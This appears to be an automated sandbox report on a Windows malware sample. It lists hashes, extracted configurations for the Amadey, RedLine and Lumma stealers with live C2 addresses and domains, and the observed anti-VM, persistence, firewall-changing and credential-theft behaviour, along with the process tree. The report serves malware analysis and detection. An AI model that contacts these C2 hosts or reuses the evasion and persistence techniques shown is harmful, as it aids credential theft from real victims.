Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240611-en -
resource tags
arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system -
submitted
23/06/2024, 17:50
Static task
static1
Behavioral task
behavioral1
Sample
bcaa3638d621cabca129a559847da12143f08298f5fdbdc159a02d815002977a.exe
Resource
win10v2004-20240611-en
General
-
Target
bcaa3638d621cabca129a559847da12143f08298f5fdbdc159a02d815002977a.exe
-
Size
1.8MB
-
MD5
227d8c7a60f25f06b1263228cc78f2ea
-
SHA1
6a1e91197163ff37e6b7baee7709466705d4467d
-
SHA256
bcaa3638d621cabca129a559847da12143f08298f5fdbdc159a02d815002977a
-
SHA512
50db35fb2ba1613882d95ddda35183bb9760ddf228d41125ad6e25214e6eb0ac19aabb89710da6ad92903c226d96761069cb7204218a7dca198d76c770d4fbae
-
SSDEEP
49152:9ruLHI7XmTtFk4P23bJPmmGLHL7NxPGsfQiko6:Fi+XsU47zLpxPGKko
Malware Config
Extracted
amadey
8254624243
e76b71
http://77.91.77.81
-
install_dir
8254624243
-
install_file
axplong.exe
-
strings_key
90049e51fabf09df0d6748e0b271922e
-
url_paths
/Kiru9gu/index.php
Extracted
redline
AMA
185.215.113.67:40960
Extracted
redline
LiveTraffic
4.185.27.237:13528
Extracted
lumma
https://parallelmercywksoffw.shop/api
https://liabiliytshareodlkv.shop/api
https://notoriousdcellkw.shop/api
https://conferencefreckewl.shop/api
https://flourhishdiscovrw.shop/api
https://landdumpycolorwskfw.shop/api
https://barebrilliancedkoso.shop/api
https://facilitycoursedw.shop/api
https://publicitycharetew.shop/api
https://computerexcudesp.shop/api
https://leafcalfconflcitw.shop/api
https://injurypiggyoewirog.shop/api
https://bargainnygroandjwk.shop/api
https://disappointcredisotw.shop/api
https://doughtdrillyksow.shop/api
Signatures
-
Detects Monster Stealer. 3 IoCs
resource yara_rule behavioral1/files/0x0007000000023550-276.dat family_monster behavioral1/memory/4352-436-0x00007FF7BBDA0000-0x00007FF7BCFD5000-memory.dmp family_monster behavioral1/memory/4352-446-0x00007FF7BBDA0000-0x00007FF7BCFD5000-memory.dmp family_monster -
Exela Stealer
Exela Stealer is an open source stealer originally written in .NET and later transitioned to Python that was first observed in August 2023.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 3 IoCs
resource yara_rule behavioral1/files/0x0007000000023513-26.dat family_redline behavioral1/memory/3204-41-0x0000000000050000-0x00000000000A0000-memory.dmp family_redline behavioral1/memory/1120-66-0x0000000000400000-0x0000000000450000-memory.dmp family_redline -
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ bcaa3638d621cabca129a559847da12143f08298f5fdbdc159a02d815002977a.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ axplong.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ axplong.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 7.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ axplong.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ axplong.exe -
Blocklisted process makes network request 4 IoCs
flow pid Process 46 2476 powershell.exe 48 2476 powershell.exe 53 3196 powershell.exe 54 3196 powershell.exe -
pid Process 2476 powershell.exe 3196 powershell.exe 3176 powershell.exe 5744 powershell.exe -
Disables Task Manager via registry modification
-
Downloads MZ/PE file
-
Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 4380 netsh.exe 5420 netsh.exe -
Checks BIOS information in registry 2 TTPs 12 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion axplong.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion axplong.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion axplong.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion bcaa3638d621cabca129a559847da12143f08298f5fdbdc159a02d815002977a.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion bcaa3638d621cabca129a559847da12143f08298f5fdbdc159a02d815002977a.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion axplong.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 7.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 7.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion axplong.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion axplong.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion axplong.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion axplong.exe -
Checks computer location settings 2 TTPs 4 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation bcaa3638d621cabca129a559847da12143f08298f5fdbdc159a02d815002977a.exe Key value queried \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation axplong.exe Key value queried \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation NewLatest.exe Key value queried \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation ama.exe -
Executes dropped EXE 19 IoCs
pid Process 3924 axplong.exe 3204 ama.exe 1216 gold.exe 1884 lummac2.exe 2300 NewLatest.exe 4532 Hkbsse.exe 3804 Installer.exe 3360 legs.exe 2780 taskweaker.exe 3276 judit.exe 4352 stub.exe 4188 Hkbsse.exe 4904 axplong.exe 3152 6.exe 4692 7.exe 2396 axplong.exe 2780 Hkbsse.exe 5736 Hkbsse.exe 5028 axplong.exe -
Identifies Wine through registry keys 2 TTPs 6 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Software\Wine axplong.exe Key opened \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Software\Wine bcaa3638d621cabca129a559847da12143f08298f5fdbdc159a02d815002977a.exe Key opened \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Software\Wine axplong.exe Key opened \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Software\Wine axplong.exe Key opened \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Software\Wine 7.exe Key opened \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Software\Wine axplong.exe -
Loads dropped DLL 33 IoCs
pid Process 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe 4352 stub.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" Installer.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 91 raw.githubusercontent.com 92 raw.githubusercontent.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 89 ip-api.com -
Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
pid Process 4200 cmd.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
pid Process 4936 bcaa3638d621cabca129a559847da12143f08298f5fdbdc159a02d815002977a.exe 3924 axplong.exe 4904 axplong.exe 4692 7.exe 2396 axplong.exe 5028 axplong.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 1216 set thread context of 1120 1216 gold.exe 94 PID 3360 set thread context of 2480 3360 legs.exe 107 PID 2780 set thread context of 5868 2780 taskweaker.exe 212 -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\Tasks\Hkbsse.job NewLatest.exe File created C:\Windows\Tasks\axplong.job bcaa3638d621cabca129a559847da12143f08298f5fdbdc159a02d815002977a.exe -
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 316 sc.exe -
Embeds OpenSSL 1 IoCs
Embeds OpenSSL, may be used to circumvent TLS interception.
resource yara_rule behavioral1/files/0x0007000000023574-294.dat embeds_openssl -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
Program crash 1 IoCs
pid pid_target Process procid_target 3168 3360 WerFault.exe 106 -
Collects information from the system 1 TTPs 1 IoCs
Uses WMIC.exe to find detailed system information.
pid Process 5620 WMIC.exe -
Enumerates processes with tasklist 1 TTPs 3 IoCs
pid Process 3472 tasklist.exe 2400 tasklist.exe 5920 tasklist.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 5972 ipconfig.exe 6112 NETSTAT.EXE -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 3136 systeminfo.exe -
Kills process with taskkill 1 IoCs
pid Process 5084 taskkill.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000_Classes\Local Settings powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 3044 reg.exe -
Runs net.exe
-
Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3184 schtasks.exe 4636 schtasks.exe 1140 schtasks.exe 3044 schtasks.exe 2992 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 50 IoCs
pid Process 4936 bcaa3638d621cabca129a559847da12143f08298f5fdbdc159a02d815002977a.exe 4936 bcaa3638d621cabca129a559847da12143f08298f5fdbdc159a02d815002977a.exe 3924 axplong.exe 3924 axplong.exe 2476 powershell.exe 2476 powershell.exe 2476 powershell.exe 3176 powershell.exe 3176 powershell.exe 3176 powershell.exe 1120 RegAsm.exe 1120 RegAsm.exe 3196 powershell.exe 3196 powershell.exe 3196 powershell.exe 3204 ama.exe 3204 ama.exe 1120 RegAsm.exe 1120 RegAsm.exe 2480 RegAsm.exe 2480 RegAsm.exe 3204 ama.exe 3204 ama.exe 2812 powershell.exe 2812 powershell.exe 4904 axplong.exe 4904 axplong.exe 2812 powershell.exe 3152 6.exe 3152 6.exe 4692 7.exe 4692 7.exe 4356 msedge.exe 4356 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 5440 identity_helper.exe 5440 identity_helper.exe 5744 powershell.exe 5744 powershell.exe 5744 powershell.exe 2396 axplong.exe 2396 axplong.exe 5028 axplong.exe 5028 axplong.exe 4576 msedge.exe 4576 msedge.exe 4576 msedge.exe 4576 msedge.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
pid Process 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2476 powershell.exe Token: SeDebugPrivilege 2480 RegAsm.exe Token: SeBackupPrivilege 2480 RegAsm.exe Token: SeSecurityPrivilege 2480 RegAsm.exe Token: SeSecurityPrivilege 2480 RegAsm.exe Token: SeSecurityPrivilege 2480 RegAsm.exe Token: SeSecurityPrivilege 2480 RegAsm.exe Token: SeDebugPrivilege 3176 powershell.exe Token: SeDebugPrivilege 1120 RegAsm.exe Token: SeDebugPrivilege 3196 powershell.exe Token: SeDebugPrivilege 3204 ama.exe Token: SeDebugPrivilege 3472 tasklist.exe Token: SeIncreaseQuotaPrivilege 2812 WMIC.exe Token: SeSecurityPrivilege 2812 WMIC.exe Token: SeTakeOwnershipPrivilege 2812 WMIC.exe Token: SeLoadDriverPrivilege 2812 WMIC.exe Token: SeSystemProfilePrivilege 2812 WMIC.exe Token: SeSystemtimePrivilege 2812 WMIC.exe Token: SeProfSingleProcessPrivilege 2812 WMIC.exe Token: SeIncBasePriorityPrivilege 2812 WMIC.exe Token: SeCreatePagefilePrivilege 2812 WMIC.exe Token: SeBackupPrivilege 2812 WMIC.exe Token: SeRestorePrivilege 2812 WMIC.exe Token: SeShutdownPrivilege 2812 WMIC.exe Token: SeDebugPrivilege 2812 WMIC.exe Token: SeSystemEnvironmentPrivilege 2812 WMIC.exe Token: SeRemoteShutdownPrivilege 2812 WMIC.exe Token: SeUndockPrivilege 2812 WMIC.exe Token: SeManageVolumePrivilege 2812 WMIC.exe Token: 33 2812 WMIC.exe Token: 34 2812 WMIC.exe Token: 35 2812 WMIC.exe Token: 36 2812 WMIC.exe Token: SeIncreaseQuotaPrivilege 2812 WMIC.exe Token: SeSecurityPrivilege 2812 WMIC.exe Token: SeTakeOwnershipPrivilege 2812 WMIC.exe Token: SeLoadDriverPrivilege 2812 WMIC.exe Token: SeSystemProfilePrivilege 2812 WMIC.exe Token: SeSystemtimePrivilege 2812 WMIC.exe Token: SeProfSingleProcessPrivilege 2812 WMIC.exe Token: SeIncBasePriorityPrivilege 2812 WMIC.exe Token: SeCreatePagefilePrivilege 2812 WMIC.exe Token: SeBackupPrivilege 2812 WMIC.exe Token: SeRestorePrivilege 2812 WMIC.exe Token: SeShutdownPrivilege 2812 WMIC.exe Token: SeDebugPrivilege 2812 WMIC.exe Token: SeSystemEnvironmentPrivilege 2812 WMIC.exe Token: SeRemoteShutdownPrivilege 2812 WMIC.exe Token: SeUndockPrivilege 2812 WMIC.exe Token: SeManageVolumePrivilege 2812 WMIC.exe Token: 33 2812 WMIC.exe Token: 34 2812 WMIC.exe Token: 35 2812 WMIC.exe Token: 36 2812 WMIC.exe Token: SeDebugPrivilege 5084 taskkill.exe Token: SeDebugPrivilege 2400 tasklist.exe Token: SeDebugPrivilege 2812 powershell.exe Token: SeIncreaseQuotaPrivilege 5620 WMIC.exe Token: SeSecurityPrivilege 5620 WMIC.exe Token: SeTakeOwnershipPrivilege 5620 WMIC.exe Token: SeLoadDriverPrivilege 5620 WMIC.exe Token: SeSystemProfilePrivilege 5620 WMIC.exe Token: SeSystemtimePrivilege 5620 WMIC.exe Token: SeProfSingleProcessPrivilege 5620 WMIC.exe -
Suspicious use of FindShellTrayWindow 25 IoCs
pid Process 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe -
Suspicious use of SendNotifyMessage 24 IoCs
pid Process 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe 1216 msedge.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4936 wrote to memory of 3924 4936 bcaa3638d621cabca129a559847da12143f08298f5fdbdc159a02d815002977a.exe 87 PID 4936 wrote to memory of 3924 4936 bcaa3638d621cabca129a559847da12143f08298f5fdbdc159a02d815002977a.exe 87 PID 4936 wrote to memory of 3924 4936 bcaa3638d621cabca129a559847da12143f08298f5fdbdc159a02d815002977a.exe 87 PID 3924 wrote to memory of 3204 3924 axplong.exe 92 PID 3924 wrote to memory of 3204 3924 axplong.exe 92 PID 3924 wrote to memory of 3204 3924 axplong.exe 92 PID 3924 wrote to memory of 1216 3924 axplong.exe 93 PID 3924 wrote to memory of 1216 3924 axplong.exe 93 PID 3924 wrote to memory of 1216 3924 axplong.exe 93 PID 1216 wrote to memory of 1120 1216 gold.exe 94 PID 1216 wrote to memory of 1120 1216 gold.exe 94 PID 1216 wrote to memory of 1120 1216 gold.exe 94 PID 1216 wrote to memory of 1120 1216 gold.exe 94 PID 1216 wrote to memory of 1120 1216 gold.exe 94 PID 1216 wrote to memory of 1120 1216 gold.exe 94 PID 1216 wrote to memory of 1120 1216 gold.exe 94 PID 1216 wrote to memory of 1120 1216 gold.exe 94 PID 3924 wrote to memory of 1884 3924 axplong.exe 95 PID 3924 wrote to memory of 1884 3924 axplong.exe 95 PID 3924 wrote to memory of 1884 3924 axplong.exe 95 PID 3924 wrote to memory of 2300 3924 axplong.exe 97 PID 3924 wrote to memory of 2300 3924 axplong.exe 97 PID 3924 wrote to memory of 2300 3924 axplong.exe 97 PID 2300 wrote to memory of 4532 2300 NewLatest.exe 98 PID 2300 wrote to memory of 4532 2300 NewLatest.exe 98 PID 2300 wrote to memory of 4532 2300 NewLatest.exe 98 PID 3924 wrote to memory of 3804 3924 axplong.exe 100 PID 3924 wrote to memory of 3804 3924 axplong.exe 100 PID 3804 wrote to memory of 3252 3804 Installer.exe 101 PID 3804 wrote to memory of 3252 3804 Installer.exe 101 PID 3252 wrote to memory of 1140 3252 cmd.exe 103 PID 3252 wrote to memory of 1140 3252 cmd.exe 103 PID 3252 wrote to memory of 3044 3252 cmd.exe 104 PID 3252 wrote to memory of 3044 3252 cmd.exe 104 PID 3252 wrote to memory of 2476 3252 cmd.exe 105 PID 3252 wrote to memory of 2476 3252 cmd.exe 105 PID 3924 wrote to memory of 3360 3924 axplong.exe 106 PID 3924 wrote to memory of 3360 3924 axplong.exe 106 PID 3924 wrote to memory of 3360 3924 axplong.exe 106 PID 3360 wrote to memory of 2480 3360 legs.exe 107 PID 3360 wrote to memory of 2480 3360 legs.exe 107 PID 3360 wrote to memory of 2480 3360 legs.exe 107 PID 3360 wrote to memory of 2480 3360 legs.exe 107 PID 3360 wrote to memory of 2480 3360 legs.exe 107 PID 3360 wrote to memory of 2480 3360 legs.exe 107 PID 3360 wrote to memory of 2480 3360 legs.exe 107 PID 3360 wrote to memory of 2480 3360 legs.exe 107 PID 3252 wrote to memory of 3176 3252 cmd.exe 113 PID 3252 wrote to memory of 3176 3252 cmd.exe 113 PID 3176 wrote to memory of 4904 3176 powershell.exe 114 PID 3176 wrote to memory of 4904 3176 powershell.exe 114 PID 3252 wrote to memory of 3196 3252 cmd.exe 116 PID 3252 wrote to memory of 3196 3252 cmd.exe 116 PID 4904 wrote to memory of 2992 4904 cmd.exe 117 PID 4904 wrote to memory of 2992 4904 cmd.exe 117 PID 4904 wrote to memory of 3044 4904 cmd.exe 118 PID 4904 wrote to memory of 3044 4904 cmd.exe 118 PID 4904 wrote to memory of 3184 4904 cmd.exe 119 PID 4904 wrote to memory of 3184 4904 cmd.exe 119 PID 4904 wrote to memory of 4636 4904 cmd.exe 120 PID 4904 wrote to memory of 4636 4904 cmd.exe 120 PID 3924 wrote to memory of 2780 3924 axplong.exe 121 PID 3924 wrote to memory of 2780 3924 axplong.exe 121 PID 3924 wrote to memory of 3276 3924 axplong.exe 122 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 3952 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\bcaa3638d621cabca129a559847da12143f08298f5fdbdc159a02d815002977a.exe"C:\Users\Admin\AppData\Local\Temp\bcaa3638d621cabca129a559847da12143f08298f5fdbdc159a02d815002977a.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4936 -
C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe"C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3924 -
C:\Users\Admin\AppData\Local\Temp\1000007001\ama.exe"C:\Users\Admin\AppData\Local\Temp\1000007001\ama.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3204 -
C:\Users\Admin\AppData\Local\Temp\6.exe"C:\Users\Admin\AppData\Local\Temp\6.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3152
-
-
C:\Users\Admin\AppData\Local\Temp\7.exe"C:\Users\Admin\AppData\Local\Temp\7.exe"4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4692
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.co/1lLub4⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1216 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff84d1546f8,0x7ff84d154708,0x7ff84d1547185⤵PID:3504
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2116,17591381755208507879,6205047983663764621,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2156 /prefetch:25⤵PID:4672
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2116,17591381755208507879,6205047983663764621,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2224 /prefetch:35⤵
- Suspicious behavior: EnumeratesProcesses
PID:4356
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2116,17591381755208507879,6205047983663764621,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2844 /prefetch:85⤵PID:380
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,17591381755208507879,6205047983663764621,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3276 /prefetch:15⤵PID:4904
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,17591381755208507879,6205047983663764621,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3288 /prefetch:15⤵PID:4812
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,17591381755208507879,6205047983663764621,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5112 /prefetch:15⤵PID:5900
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,17591381755208507879,6205047983663764621,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4684 /prefetch:15⤵PID:5908
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2116,17591381755208507879,6205047983663764621,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5412 /prefetch:85⤵PID:6000
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2116,17591381755208507879,6205047983663764621,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5412 /prefetch:85⤵
- Suspicious behavior: EnumeratesProcesses
PID:5440
-
-
